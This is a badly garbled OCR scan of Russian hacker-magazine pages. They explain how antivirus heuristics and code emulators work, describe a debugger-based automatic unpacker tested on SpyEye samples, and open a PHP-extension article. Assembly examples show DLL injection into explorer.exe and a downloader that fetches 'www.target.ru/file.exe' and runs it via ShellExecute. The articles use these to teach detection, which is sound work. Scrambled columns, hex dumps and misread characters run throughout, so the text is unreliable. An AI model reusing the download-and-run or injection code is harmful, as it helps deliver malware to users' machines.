Dwon!

l0wo••

l0wo••

l0wo••

.tert

~ 00001000

00000400

00000000

'lo."'

~ ОООООВ9F

00000800

00002000

ОООООСОО

ооооосоо

00000000

00(

.tdl tl

0001 22Е8

00003000

00012400

00001""

00000000

00(

di tJ

00001000

00010000

00000200

00013(00

00000000

00(

00001000

00017000

OOOOONIO

ОООВ ЕОО

00000000

00(

t;lddress ConYetler

1- ~ Dopondency Wolk~ ~-- ~ """ ~

.... г- ~ -·­

Address ILir

00(

(] 00000000 00000010 00000020

L- t. UPXI..Iilil:y

о

1

2

э

4

s

6

1

е

9

А

а

с

t1

Е

r

46 о~ Df ВА 70 41 57 00 42 81 СО tt5 262000003tlf4303F3 t 9 ЕЕ 78 6В 35 6D 59 81 С2 32 46 00 42 tr 03 DF 81 Er 37 35 43 оо 50 36 74 00 00 ВВ 10 26 00 00 81 Е8 35 75 00 00 81 С2 47 70 6t. 00 В9

00000040 00000050

81 t t. 54 54 79 53463331S1 86 05 00 00 Sl оо rr D1 03 п 03 DA 42 (!1 t 9 67 59 72 47 &

оо-~

~uооооn~~п~оо~п~пя"

оо-~

с~оо~u~оооо"мимоо ~ nы

00000080

00 00 03 Cf

оооооо3о

секция с кодом

точка входа находится в РЕ-заголовке файла; энтропия секции кода меньше четырех;

файл упакован каким-либо упаковщиком . Каждой из них соответствует так называемый весовой коэф­

баллов !какое именно , определяют эксперты в антивирусных ла­

г- ~ --

ottae.t

EXECUTE и READ,

имеет атрибут WRITE;

фициент опасности, или, проще говоря, некоторое количество

' '·

1- ~ 1>-"'<Di1- ~ ........... 1- ~ ........." ....~

помимо обычных атрибутов

81 EF 69 36 41 4& 46 81 tA 46 50

A!lcii totтyftDe:~iri.BfA s r эlfoя~ . . LJIC'yй

rt.. foxk5!!:Yf ! 2! .

. ..CLc!Q LJifn75C.P 'tBfй6t .. • ,,,tк

9YtGt:5u .. f!GJ:D.J Dt .• GlD @.texvYc

~~ ~~3f~i;A;rf:~;

бораториях; каждый антивирус имеет собственный набор правил

и собственные весовые коэффициенты!. При анализе файла эти баллы складываются, и если сумма превышает порог опасности ,

то проверяемый файл берется << На карандаш>>. Конечно, реальные антивирусные программы используют куда больше правил, чем мы привели для при мера . Какими могут быть эти правила, мы сейчас и рассмотрим. Как и положено при научном подходе, прежде всего нам нужно

определиться с классификацией. Будем классифицировать пра­ Рисунок

6. Подозрительная секция с именем

вила с учетом данных , предоставляемых техническим компонен­

Gigpycllв трояне Win32.Palevo

том .

веркиоткрываемых файлов на лету. В первом случае антивирус

Итак, технический компонент может предоставить нам следую­

! о бычно с помощью АРI-функций FindFiгst и FindNextl поочередно

щую информацию:

проверяет все файлы в выбранной области. Второй вариант реа­

данные о проверяемом файле, которые можно добыть без его

лизуется, как правило, либо путем внедрения в драйвер файловой системы, либо за счет перехвата АРI-функций обращения к фай­

запуска !то есть результаты так называемого статического ана­ лиза!;

лам !обычно это

данные о проверяемом файле, для получения которых его необ­

NtOpenFile и NtCгeateFilel . С помощью одной из

этих функций сканер ищет вирусы во всех открываемых файлах,

хо димо запустить ! то есть результаты динамического анализа! .

которые соответствуют указанному типу. Если антивирус ничего не находит, работа с файлом продолжается как обычно, если файл

Что мы можем уэнать о файле, не эапуская его? Окаэывается,

определяется как вредоносный, то антивирус блокирует его или

довольно много. Начать можно с аналиэа его имени:

удаляет или выполняет другое действие в соответствии со своими

имя файла может совпадать с именем обнаруженного ранее

настройками.

вредоносного объекта ;

Плюсы и минусы такого подхода к поиску вредоносного кода

в имени может быть много пробелов !имена обычных файлов, как

очевидны. Сигнатурный метод, пожалуй, является единственным

правило, не содержат большого количества пробелов, однако

методом, который позволяет гарантированно находить известные

многие вирусы с их помощью маскируют свое истинное рас­

вирусы !то есть те, сигнатуры которых имеются в антивирусной

ширение, чтобы скрыть свою сущность , например вирус может

базе!. Однако он бессилен против новых, еще не известных злов­

иметь имя photo.jpg.exel;

редов, а от обнаружения нового вируса до появления его сигнату­

исполняемый файл может иметь несоответствующее расшире­

ры в базах иной раз проходит немало времени .

ние !конечно же, это не обязательно таит в себе опасность, но некоторые вредоносные программы любят маскировать свои

ЭВРИСТИКА : НАЙДИ ТО, НЕ ЗНАЮ ЧТО Если под сигнатурным поиском практически все производители

РЕ-файлы, присваивая им расширение .pif или .coml; файл может не иметь видимого имени !то есть файл имеет имя

понимают одно и то же, то термин <<эвристика>> окутан туманом.

вида .ехе или .pifl.

Большой энциклопедический словарь относит к эвристическим методам специальные методы, используемые в процессе откры­

Такой скрупулезный подход к анализу имени файла исполь­

тия нового, а также способы слепого поиска решения для нечетко

зует, например, антивирусная утилита AVZ !рисунок 41. Многие

поставленных задач .

антивирусы также отслеживают подозрительные имена файлов и

На современном этапе развития систем защиты от вирусов эвристические методы в основном используются в аналитиче­

ском компоненте защиты, а не реализуются в виде определенных

распознают их истинное расширение, если оно замаскировано с

помощью большого количества пробелов.

Далее рассмотрим точку входа. В подавляющем большин-

технологий. Иными словами, под «эвристическим детектиро­

стве <<нормальных>> файлов точка входа находится в секции

ваниеМ>> производитель подразумевает некую систему защиты,

Если же точка входа находится в РЕ-заголовке или, хуже того , в

аналитический компонент которой работает по принципу слепого

конце последней секции , по которой прописан

поиска решения . При этом технический компонент защиты может

файла, то у эвристического движка появляется еще один повод

быть каким угодно, а способ сбора информации для последующе­

накинуть несколько баллов при анализе файла.

го анализа может осуществляться любыми методами- от работы

jmp

text.

куда-то внутрь

Мы уже упоминали, что типичная секция кода , как прави-

с файлами до работы с событиями или состоянием операционной

ло, предназначена только для выполнения и чтения, а секция

системы.

данных- только для чтения и записи !рисунок 51. Антивирусу

В общем виде эвристический анализатор в антивирусе пред­

стоит обратить пристальное внимание на секцию кода, в которую

ставляет собой определенный набор правил lв принципе, тоже

можно писать, и на секцию данных, которую можно запускать на

своего рода сигнатур!. Система использует эти правила, чтобы на

выполнение.

основе данных, предоставленных техническим компонентом, вы­

Раз уж речь зашла о секциях, нельзя не отметить то, что на­

нести решение о том, является ли анализируемая программа или

звания самих секций в << правильны х>> программах обычно носят

анализируемое событие вредоносным.

<<правильные>> имена l.text, .data, .idata, . гdata, .геlос, .гsгсl. Одна-

ХАКЕР

091

12/155/2011

www.epidemz.net


MALWARE Кроме того, код может не вызывать АР I -функции из таблиfile

fdit

~rch

цы имnорта, а загружать нужные

Sun Qptions t:!tlp

DLL

в ходе работы, оnреде-

лять адреса вызываемых функций с nомощью, наnример,

...

GetPгocAddгess и хранить их имена в зашифрованном виде, осу щ ес т в л яя рас ш ифровку с nомо щ ью какого- н ибуд ь хит р ого

push О push PROCtSS ALL ACC!:SS

ал г ори т ма не n осредственно nеред в ызовом. Без динамическо г о

call [ OpenPro'ёes•)

sr.ov [ ProcessHandle ),

анализа, то есть без заnуска кода на выnолнение, здесь уже не

еах

push PJI.G!: UADWRIТt push НI.Н ёомнiТ •мtН RlSERVl: push lfi -

push

О

push

О

обойтись. Конечно, наnрямую nодозрительный код никто не заnу­ скает, так как это сродни игре в русскую рулетку. Здесь на nомощь nриходит эмуляция кода.

ТИПЫ ЭМУЛЯТОРОВ

push Nam.e Siz:e push DllNam.e

Итак, мы уже выяснили, что динамический а н ализ кода nрово д и т­

push ( Inject.Addr )

..

us h

push

Processнendle

ся nри его эмуляции, когда nроисходит разбор кода на отдельные

О

Alf1Иnиpyr lt.!rnt•prкoro

push [ Injecc.Addr ] push (LoadLibrary ] push о push О

~~~~~ d:\fASМ\ИН)ICtn

Г • ~f"' x-=

1

инструкции и имитация их выnолнения. Перечислим основные nодходы к эмуляции кода:

обычная трассировка nрограммы, то есть ее загрузка в nамять и

Ott • txplorer.m: coдtpJIUП

,-'c"'~7~~;'-!;(~",~~"'~7::<;:=::o =nd"t;", ' ;ht,r"'ea:-:;d-"(,c::,.:-:n"'yc:-:кC":aCмO:-: e,.,=-e:-::м::::мo"'й-;D:;-LL,-t.., lиpycHfUit:frojtn.Win32.1twldtr. nощщено ttl

исnолнение n утем ис n ользования отладо ч ного n рерывания;

nолностью nрограммный сnособ, когда nроцедуры эмул ятора

мюкtJCТ OlLaexplorer.ASМ 1

разбирают и выnолняют весь эмулируемый ко д ; комбинация этихдвух сnособов или частичное выnолнение

Рисун о к 7. П о следо вательность АРI - фун к ци й , х ара ктер н а я дл я инжекта посторонней DLL в ех рlоге г.ехе, и ре ак ция эвр и стичес к о г о анал из атор а «Антиви р уса Каспер с ког о » н а эт у последоват е л ь но ст ь в коде програ м мы

эмупируемого кода на реальном nроцессоре .

Недостаток nервого сnособа состоит в его небезоnасности . Вредоносному ко д у ничего не стоит обломать nро ц есс трассиров­ ки и выйти из-nод контроля отладчика. Второй сnособ гораздо

ко в некоторых вредоносных nрограммах могут иметься секции с

безоnаснее. Кусок кода считывается в буфер эмуля т ора, раз­

неnонятны ми именами, которые в большинстве случаев сгенери­

бирается на инструкции, nосле чего их исnолнение эмулируется

рованы случайным образом [рисунок

61.

с nомощью разных трюков. П равда , на правильную имитацию

Таблица имnорта исnолняемого файла тоже может содер-

жать кое-что интересное, к nримеру, nродук т AntiViгus комnании

McAfee анализирует

Plus

от

исполнения всех команд и инструкций может пенадобиться очень­ очень мно г о сил и времени.

П оэтому, как правило, эти д ва с п особа комбинируют. Из

имnорт на наличие функций,

ко торые чаще всего исnользуются в зло в ред ах . Наnример, тиnич­

эмупируемого кода берут блок <<безопасного>> кода [то есть та­

ный троян-даунлоадер исnользует связку д вух АР I -функций ­

кого, который не сможет навсе гда перехватить уnравление или

URLDownloadToFile

и

SheiiExecute. К <<оnасным>>

функциям также

можно отнести, наnример, связку ViгtuaiAIIoc, WгitePгocessMemoгy

обрушить nрограмму, попытавшись, например , записать данные

внедоступную для записи область nамяти) и nередают на испол­

и CгeateRemoteThгead . Н аличие этих функций в имnорте может

нение реаль н ому п роцессору, а затем возвращают у n равление

служит ь n ризнаком то г о, что в заnущен ны й n роцесс внедрен вре д о­

эмулятору . Пр и таком nодхо д е мож н о добит ь с я г о р аз д о более

носный код. Конечно, nри э т ом нельзя с д елать однозначный вывод

высокой скорости исполнения, однако он не т ак n реет в реали­

о вредоносности объекта, но насторожиться все же имеет смысл. За­

зации . Змулируемый код нужно в ыбирать или мо д ифицировать

шифрованные или обработанные уnаковщиком секции кода, обычно

таким образом, чтобы nосле его передачи реа л ьному nроцессору

ха рактерные для вредоносных файлов, выявляются nри статическом

не возникало ошибок, а nосле исnолнения можно было вер­

анализе. Для этого нужно nодсчитать частоту nовторения тех или

нуться обратно в эмулятор. Общий алгоритм работы эмулятора

иных оn кодов и оnределить стеnе н ь их зависимос т и дру г от д руга, а

nредставлен ниже.

затем свести все это к э н троnии.

Ну и наnоследок необходимо nроанализировать неnосред­ ственно сам код на наличие участков, характерных для мал ва-

ри. В современном мире не nринято исnользовать чистый

Инициализация эмулятора:

1.

точка входа и т.

nрактически все эловреды nишутся на языках высокого уровня [в

основном на С#, С, С Builde г и VB). П оэтому конструкции для вне­

2.

дрения кода в nроцесс ехрlогег.ехе, и л и, к n римеру, д л я установки nерехвата на оnределенный тиn событий, и л и хотя бы для той же самой загрузки файла из сети и его заnуска, осуществляемых да­

Разбор и установка nара метров, nереданных эмулятору антиви ­

русом [тиn исnолняемого файла, его размер, количество секций,

asm,

n.) .

Ини ц иализа ц ия буфера н еобхо д имого разме р а в nамяти и за­ грузка в не г о эмупируемого кода.

3. 4.

Инициализация буфера под виртуальный стек. Инициализация виртуальных регистров.

унлоадерами, часто содержат очень nохожие nоследовательности

кода, которые можно отследить [рисунок

Начало цикла эмуляции проrраммы:

7, 8).

Итак, мы выжали из статического ана л иза файла все что мож­

но. Но как быть, если фай л n олнос ть ю и л и частич н о за ш ифрован или обработан уnаков щ иком? Конечно, n ри с т атическом анализе

мы заnросто сможем это оnределить [nо д считав энтроnию или

5.

Разбор инструкции д изассемблером [в том случае, если во время работ ы была допу щ ена о ш ибка, н а п ример вст р е т илась

не известная команда, эмулятор завер ш ает работу).

6. Разбор параметров инструкции [размер инс т рук ц ии, исnоль­

выявив участки кода, характерные для уnаковщиков), однако

зуемые регистры, тиn имитации исполнения), полученной от

наличие в файле обработанных уnаковщиком или зашифрованных

дизассемблера, и переход к nункту

секций не является однозначным nризнаком вредоносности. Н е ­

какие действия необходимы д ля имитации исполнения инструк­

которые nроизводите л и nро г рамм н аго обесnечения д л я за щ иты

своих высокоинтел л ектуаль н ых творений л юбя т шиф р овать участки кода. чтобы скрыть их от nосторонних глаз. А уж уnаков­ щиками nользуются все кому не лень. Д аже некоторые nроизво­

7 или 8 в зависимости

оттого,

ц ии [параме т р, который опре д е л яет д изассемб л ер).

7. За п уск инструкции на реаль н ом nроцессаре и п е р ехо д к n унк т у 9. 8. Полная имитация выnолнения инструкции. 9. Анализ результата эвристическим анализатором [поиск по­

дители антивирусных nрограмм nрименяют их для уменьшения

следовательностей инструкций и команд, характерныхдля

объема [AVZ, наnример, уnакован с nомощью UPX).

вредоносных программ) .

ХАКЕР

092

www.epidemz.net

12 /155/20 11


Изучаем антивирус

DLLName [ LoadLiЬrary ) puзh

DownLoadName

puзh

е ах

call

[ Get:ProcAddreзз )

puзh

о

puзh

о

puзh

Pat:hToSave Target:Url

puзh puзh

( call

о еах ;вызов

puзh

о

puзh

о

URLDo~loadToFile

puзh

о

puзh

puзh

Pat:hToSave OpenSt:rinq

puзh

о

)

загруже~мо~о

.end зt:art: .dat:a DLLName DownLoadName Pat:hToSave Target:Url OpenSt:ring

dЬ dЬ dЬ dЬ

из

•urlmon.dll' , O 'URLDownloadToFileA' , O 'd:/file.exe' , о 'www.t:arget:.ru/file.exe' , 'open' , О

сети

_

Файл

d:\ ...\3arpy3кa файла из сетО ... : содержит вирус HEUR:Trojan-Downloader.Win32.Generic. Помещено на карантин.

о

Просмотреть полный отчет

Р исунок 8. Последовательность АРI-функций, характе рная для трояна-даунлоадера, и реакция эвристического анализатора «Антивируса Касперскоrо» на эту последовательность в коде программы

10. Перевод указателя на следующую инструкцию [ уве личение вир­ туального

разным причинам, например если в коде встречается инструкция

неизвестного типа или эмулируемая инструкция обращается к

EIPI .

11. Переход к началу цикла [если время, отведенное на эмуляцию программы, не было превышено или эвристический анализатор

антивируса не поднял тревогу! .

смещениям, находящимся вне буфера, ко торый содержит иссле­ дуемую программу или виртуальный стек. Выход по «с лужебной необходимости >> происходит по дости­

При имитации выполнения программы для хранения значе­

жении установленной глубины анализа. Гл убина анализа- это

ний регистров используются специальные переменные- вир­

максимальное количество инструкций [или максимальный размер

туальные регистры. Для того чтобы эмулируемая программа не

участка кода!, исполняемых эмулятором. Совершенно понятно,

испортила данные, которые антивирус хранит в стеке, под них

что если тратить на анализ каждой программы много времени,

отводится специальный буфер, обычно называемый виртуальным

то процесс сканирования всех файлов жесткого ди ска затянется

стеком . Все манипуляции, производимые со стеком при имитации

надолго. Поэтому для каждого исследуемого участка кода с помо­

исполнения программы, совершаются в этом буфере.

щью специальных алгоритмов подбирается оптимальная глубина

Перед эмуляцией программы необходимо установить значе­ ния виртуальных регистров

EDX, ESP

и

EIP.

анализа.

Остальные регистры

могут иметь произвольные значения . Регистры

EDX

и

EIP должны

ЗАКЛЮЧЕНИЕ

содержать значение точки входа в nрограмму, которое антивирус

Теперь ты знаешь, что кроется « под капотом>> антивируса, и,

в качестве параметра передает эмулятору . Прежде чем устанав­

встретив слова <<си гнатура >>, <<эвристика>>, <<эмуляция программ­

ливать значение регистра

наго кода>> на коробке с антивирусом, сможешь более осмыслен­

стек . Виртуальный

но подойти к выбору средства защиты для своего компьютера .

ESP, необходимо выделить буфер под регистр ESP должен содержать смещение,

указывающее на конец этого буфера.

Конечно, за кадром остались всякие << проактивные детектиро­

Эмулятор завершает свою работу в случае ошибки или по

вания>>,

«с лужебной необходимости ». Ошибки могут возникать по самым

ХАКЕР

HIPS,

<< песочницы >> и прочие прем удрости, но о них мы

поговорим как-нибудь в др угой раз. ::х::

12/155/2011

093

www.epidemz.net


MALWARE

Дмитрий Олексюк

lwww.esagelab.rul

Автоматическая распаковка - это просто Расправиться с криптарами и обфускаторами,

Изящный РоС для автоматической

чтобы получить распакованный бинарник зло вреда, как правило, не представляет труда.

распаковки малвари

Но что если счет образцов малвари идет на

сотни или даже на тысячи? Хочу поделиться с тобой результатами успешного эксперимента.

РАСПАКОВЩИКИ Всем известно , что распространяемое « в дикой среде » вредонос­ ное программное обеспечение в большинстве случаев защищено различными упаковщиками, крипторами, обфускаторами. Разуме­ ется, почти во всех случаях такая <<навесная>> защита снимается

голыми руками в отладчике за несколько минут- ведь главной

целью подавляющего большинства крипторав и обфускаторов , которые используются в malwaгe , является борьба с антивирус­ ными сканерами, а не с реверс-инженерами . Но что делать , если для последующего анализа внезапно потребовалось распаковать сотню пойманных зловредов? А если тысячу? Разумеется, возиться с

каждым файлом вручную в этом случае абсолютно нецелесообразно, ведь существуют прекрасные универсальные способы полностью автоматической распаковки исполняемых файлов , о которы х мы и поговорим в этой заметке. В плане подхода к анализу кода все распаковщики делятся на два типа:

Статические- не исполняют анализируемый файл на реальном

процессоре, в среде реальной операционной системы, благодаря чему являются наиболее безопасными.

Динамические- исполняют код анализируемого файла на реаль­ ном процессоре, но под контролем отладчика или Dyпamic Вiпагу lпstгumeпtatioп Епgiпе. Являются менее безопасными, так как вредоносный код теоретически может <<сбежать>> из-под контроля и нанести вред операционной системе, в среде которой происходит распаковка .

Примерами статических распаковщиков могут служить утилиты

вроде UпFSG ( Ьit . ly/v 1пVB1 ] , а также многие другие ( Ьi t .ly/v N YAYA ]. Несложно догадаться, что большинство из них предназначено для работы с заведомо известными средствами << навесной >> защиты .

АВТОМАТИЧЕСКАЯРАСПАКОВКА Чтобы реализовать автоматическое снятие упаковщика или крип­

тара независимо от того , какой именно это упаковщик или криптор, обычно используют динамические движки. В нескольких словах принцип их работы можно сформулировать следующим образом: если в процессе исполнения исследуемой программы управление получил регион кода, в который ранее производилась запись, то этот регион,

вероятнее всего, является оригинальным кодом и необходимо выпол­ нить его дамп. Динамическими универсальными распаковщиками,

ХАКЕР

091,

www.epidemz.net

12/155/2011


Автоматическая распаковка- это просто

. РОР ЕСХ TEST ЕАХ,ЕАХ ,v 1JE dropper.00405202 MOV EAX, OWORO PTR SS:[E8P-4] LEA EOI, OWORO PTR OS:CESI+EAX-4E0] MOV ESI, OWORO PTR SS:CE8P-14] MOV ЕСХ,Е8Х 88С8 FЭ:А5 REP MOVS OWORO PTR ES:[EOI] , OWORO PTR OS:CESI] FF15 64604000 CALL OWORO PTR OS:[406064] 88 1D ЭС604000 MOV E8X, OWORO PTR ОS:[4060ЗС] •. 8945 се MOV OWORO PTR SS:[E8P-40] ,EAX MOV OWORO PTR SS:CE8P-20] , 1 • С745 Е0 01000000 XOR EOI,EOI ЭЭFF > 57 PUSH EOI 6А 02 PUSH 2 MOV OWORD PTR SS:CEBP-28l,EOI 8970 08 Е8 9Е0С0000 CALL dropper.00405CC4 MOV DWORD PTR SS:CE8P-24] ,EAX 8945 ОС 8ЭF8 FF СМР ЕАХ, -1 JE dropper . 004051FC •v 0F84 СА010000 LEA EAX, OWORO PTR SS:CEBP-0] 8045 FЭ 50 PUSH ЕАХ 57 PUSH EOI PUSH 1 6А 01 6А 14 PUSH 14 CALL OWORO PTR ОS:С4061З8] FF15 38614000 LEA EAX, OWORO PTR SS:[E8P-19C] 8085 64FEFFFF 50 PUSH ЕАХ FF75 ОС PUSH OWORO PTR SS:CE8P-24] С785 64FEFFFF 28010000 MOV OWORO PTR SS:CE8P-19C] , 128 CALL dropper.00405CBE Е8 640С0000 v Е9 87010000 JMP dropper.004051E6 ) 8085 88FEFFFF LEA EAX, OWORO PTR SS:CEBP-178] 50 PUSH ЕАХ Е8 81=1020000 CALL dropper.004052F5 59 РОР ЕСХ 8880 6CFEFFFF MOV ECX, OWORO PTR SS:CE8P-194] З8СF СМР ECX,EOI ,v 0F84 50010000 JE dropper.00405107 ЗО 72З0709Е СМР ЕАХ, 9Е703072 ,v 0F84 52010000 JE dropper.00405107 ЗО FАС8ЗЕЗ5 СМР EAX, 353ECBFA

59 85се 0F84 Е0020000 8845 FC 808С06 20F8FFFF 8875 ЕС

.v Вызов

~f81_:E~!!!!~ee

CGetCurrentProcessld kerneiЗ2.Sieep

Prooe,.s!O [

Ftэ9:

=~

0

= THЗ2CS_SNAPPROCESS

CreateToolhelpЗ2Snapshot

ntdii.RtiAdjustPrivilege

[

~·?го•.•: osen'ГY ЭDSh•A

r,Sn

ProcessЗ2First

Ar<ll [ dropper.004052F5

~~-d~~P.Pf~ ~~1!!!§ 107

CreateTooiHelp32Snapshotll в теле SpyEye, исnользуемый в качестве маркера для автоматической расnаковки

например, являются

Fast Uпiveгsal Uпрасkег [c ode.goog le.com /g/fuu/1

CгeateToolHelp32Sпapshotll. Чтобы установить точку останова, в начало нужной функции необходимо записать байт ОхСС ]инструк­ ция iпt 3] с помощью WгitePгocessMemoгyll.

и арОх Uпpack Епgiпе l bit . ly/vDТZXg ). Оба они разработаны на основе фреймварка TitaпEпgiпe от Reveгsiпglabs I Ьit . ly/гEHXSg ]. Поскольку упомянутые выше движки достаточно сложны и слиш­

4.

ком громоздки для решения многих задач, я решил по-быстрому раз­

Дожидаемся нотификации о срабатывании установленной нами точ­ ки входа, после чего осуществляем дампингисполняемого образа

работать свой собственный автоматический распаковщик, который

целевого процесса с помощью ReadPгocessMemoгyll и сохраняем

отличался бы гибкостью и простотой интеграции в свою инфраструк­

дамп на диск .

туру массового анализа вредоносных программ .

Для воплощения на практике описанного выше принципа работы

Разумеется, полученный в ходе подобной <<распаковки>> дамп

универсальных динамических распаковщиков нам потребуются до­

невозможно будет ни запустить, ни загрузить в дизассемблер,

статочно сложные средства анализа кода в процессе исполнения.

поэтому распаковщик должен выполнить нормализацию дампа

Однако подход можно и упростить, так как вместо отележивгния

перед его записью на диск. Нормализация производится следую­

регионов памяти, по которым происходит запись, достаточно устано­

щим образом:

вить контроль над теми функциями операционной системы, которые

1.

Устанавливаем значение поля FileAligпmeпt опционального за­

2.

Устанавливаем значение поля

головка равным значению поля SectioпAligпmeпt.

точно используются в основном теле зловреда, находящегося под упаковщиком .

lmageBase опционального заголовка

равным адресу, по которому находился исполняемый образ в памяти

УПРОЩЕННЫЙ ПОДХОД

целевого процесса на момент дампинга.

Разумеется, работающий по упрощенному принципу автоматический

распаковщик нельзя называть по-настоящему универсальным ]ведь

3.

Для всех секций исполняемого образа устанавливаем значение поля

RawOffset равным значению поля ViгtualOffset этой же секции .

мы должны знать, на какую именно функцию следует установить

точку останова], но я считаю это не слишком большой платой за воз­ можность реализовать такой распаковщик в коде буквально за час. Основные этапы работы нашего распаковщика при этом будут

им портов не рассматривалось], однако, что самое главное, его можно будет корректно открыть в

выглядеть так:

1.

Даже после этих манипуляций полученный дамп все равно, ско­

рее всего, будет неработоспособным ]ведь восстановление таблицы

IDA

Рго или загрузить в свой процесс с по­

Запускаем процесс для исследуемого исполняемого файла, исполь­

мощью LoadlibгaгyExll с флагом

зуя функцию CгeatePгocessi] и флаг DEBUG_PROCESS.

для последующего изучения.

'DONT_RESOLVE_DLL_REFERENCES'

2. С помощью функции WaitFoгDebugEveпtll получаем и обрабатываем отладочные события запущенного процесса, дожидаясь нотификации

3.

РОС :

SIMPEUNPACKER

о загрузке в его контекст нужной нам динамической библиотеки.

Рас.смотренные принципы автоматической распаковки я воплотил

Когда нужная нам динамическая библиотека загрузится, устанав­

в простой утилите под названием SimpeUпpackeг, исходные тексты

ливаем программную точку останова на ту её функцию, которая вызывается в теле распакованного зловреда как можно более

и исполняемый файл которой доступны в репазитарии на GitHub lgit hu Ь.со m/C г4sh/Si mR1е Uп ga cke г 1. Sim peU прасkег представляет

ближе к оригинальной точке входа. Например, для широко из­

собой программу командной строки, которая запускается из консоли

вестного троя на

следующим образом:

ХАКЕР

SpyEye в

качестве такой функции я использую

095

12/155/2011

www.epidemz.net


MALWARE .text:004050F6 .text:004050F6 =============== 5 U В R О U Т - N Е =============================== .text:004050F6 .text:004050F6 .text:004050F6 рuЫ i с start .text:004050F6 start proc near .text:004050F6 .text:004050F6 ; FLI NCТION CHUNK дТ . text : 00~05019 SIZE 000000DD BYTES .text:004050F6 .text:004050F6 mov esi, е ах . text:004050F8 cmp esi, edi loc_4051C5 .text:004050FA еах, [ebp- 38h ] .text:00405100 _DVIORD .text:00405103 push е ах 1811 _D\•IORD . text: 00405104 ~ush еах, .text:00405106 еа [ebp- 5ch ] _DVIORD .text:00405109 push е ах _D\•IORD push .text:0040510A edi . text:0040510B esi _D\•IORD push ds: d\•юrd_40611C . text:0040510C call . text: 00405112 еах, test е ах . text :00405114 short loc_405127 js . text: 00405116 [ebp- 58h ], edi <;mp . text: 00405119 short loc_405127 JПZ . text: 00405118 _DVIORD push esi ds: d\•юrd_40606C .text:0040511C call loc_4051D7 . text: 00405122 jmp .text:00405127

~~а

••• Исследуем полученный дамп в

IDA Рго

> SimpleUnpackeroexe <input_file> В качестве параметра

--Ьр

<module>!<function>

input_file указывается

nуть к исnолняемому

файлу, распаковку которого необходим о выnолнить, а ключ

'- -Ьр'

указывает функцию, на которую следует уста новить точку останова . Для установки нескольких точек останова используй нескольк о ключей '--Ьр' в nараметрах командной строки. Распакованный файл

сохраняется в текущем каталоге nод именем

dumped.exe.

Поскол ьку этот динамический распаковщик довольно примитивен , все эксперименты по распаковке следует nроводить в среде операци­

онной системы, заnущенной на виртуальной машине . Пример работы SimpleUnpackeг.exe при распаковке установщика троя на

SpyEye:

С:\> SimpleUnpackeroexe dropperoexe --Ьр kernel32odll! CreateToo1help325napshot [+] Breakpoint: kernel32odll!CreateToolhe1R325napshot() [+] Process command line: "dropperoexe" CREATE_PROCESS: ImageBase;exee4eeeee , StartAddress;exee42eege DLL_LOAD: ех7с9еееее "ntdllodll" DLL_LOAD: _ех7свеееее "С: \WINDOWS\system32\kernel32 о dll" [+] Breakpoint on kernel32odl_l!CreateToolhelp32Snapshot() has been set: ex7c865Ьlf DLL_LOAD: ех7е41ееее "C:\WINDOWS\system32\USER32odll" DLL_LOAD: ex77fleeee "C:\WINDOWS\system32\GDI32odll" DLL_LOAD : ех7Зееееее "C:\WINDOWS\system32\WINSPOOLoDRV" DLL_LOAD: ex77ddeeee "C:\WINDOWS\system32\ADVAPI32odll" DLL_LOAD: ех77е7ееее "C:\WINDOWS\system32\RPCRT4odll" DLL_LOAD: ex77feeeee ·с: \WINDOwS\system32\Secur32. dll" DLL_LOAD: ex77cle_e ee "С: \WINDOWS\system32\msvcrt о dll" DLL_LOAD: ехЗd9Зееее "C:\WINDOWS\system32\WININETodll" DLL_LOAD: ех77fбееее "C:\WINDOWS\system32\SHLWAPiodll" DLL_LOAD: ех7813ееее "C:\WINDOWS\system32\urlmonodll" DLL_LOAD : ех774еееее "C:\WINDOWS\system32\ole32odll"

DLL_LOAD: ех7712ееее "C: \WINDOWS \ system32 \0LEAUТ32odll" DLL_LOAD: exЗdfdeeee "C: \ WINDOWS\system32 \ iertutilodll" EXCEPTION_BREAKPOINT at ех7с9е12ее CREATE_THREAD: StartAddress;exeeeeeeee DLL_LOAD: ех7639ееее "C :\WINDOWS\system32\IMM32oDLL" _ DLL_LOAD: ех77Зdееее "С : \WINDOWS\WinSxS\xBб_Micrщoft о Win dows о Common-Controls_6595b64144ccfldf_б о е о 2600 о 5512_X-\WI_35d4ce83\ comctl32 о dll" CREATE_THREAD: StartAddress; e x 7c81eбe9 EXCEPTION_BREAKPOINT at ~x7c865Ьlf [ +] Breakpoint occurs: kernel32. dll! CreateTool_help325flap_s_hQt (+] Dumping image ехее4еееее 5ize;exeee7deee Fixing Fileдlignme_nt ехееееыее - > ехееее1еее Fixing section raw address ехеееее4ее -> ехеее~1еее Fixing section raw address ехеееее4ее -> ехеее4ееее Fixing section raw address ехеее21бее -> ехеееб2еее [+] Image dumped to "dumpedoexe" DONE Если честно, я не ожидал от этого распаковщика каких-либо выдающихся результатов, так как он довольно примитивен и

вредоносные программы легко обнаруживают его. Однако, к моему удивлению, он nоказал весьманеnлохие результаты nри тестирова­

нии на ТОР

ву

SpyEye.

100

исполняемых файлов с ViгusTotal по ключевому сло­

Почти все эти файлы были уnакованы, и распаковщику

удалось корректно распаковать около распакованного

SpyEye удавалось

70% из них [если из ресурсов

извлечь его конфигурационную

информацию, то файл считался успешно расnакованным]. Я думаю, что это очень неплохой результат для инструмента, наnисанного за один вечер.

В следующих заметках я nланирую рассказать о том, как можно

усовершенствовать этот простой расnаковщик, чтобы получать бо­ лее корректные дампы и усложнить его обнаружение для вредонос­ ных программ . ::::;:

ХАКЕР

096

www.epidemz.net

12/155/2011


КОДИНГ

Никола й «М 0 г1 агtу>> Н е ж инский

lmoriartylafront.rul

ГОРИЭОНТЬIРНР ПИШЕМ ХАКЕРСКОЕ РНР-РАСШИРЕНИЕ

Сколько бы некоторые энтузиа­ сты ни предрекали РНР скорую с м ерть , его популярность даже

и не думает падать . Это во многом обусловлено огромным числом экстеншенов, о хитро­

стях в работе с которыми мы сегодня и поговорим .

из З х статей от самой Сары .

hab rahabr. ru/Ьiogs/ ~ -перевод статьи из первой

ссылки .

буем немного восполнить этот пробел.

АРХИТЕКТУРА РАСШИРЕНИЯ Обычно расширение лежит в собственной папке в директории

ext

ходный код, соот в етст в ует имени расширения. Кроме исхо дн иков, в

русс к оязычное

папке расширения также должны находи т ься два файла:

введение в программирование

• http:Upecl.php.net/ apxив сторонни х

расширений . На диске вместе

существует, а многочисленные докумен т ы вр од е Extension Wгitiпg только поверхностно затрагивают э т у тему. Попро­

Jllll.O.!Iy -eщe ОДНО

~ -кладезь зависимостей .

Ни автор , ни реда к ция не

нятной документации по разработке расшире н ий РНР не

каталога с исходниками РНР. Имя папки, в которой находится ис­

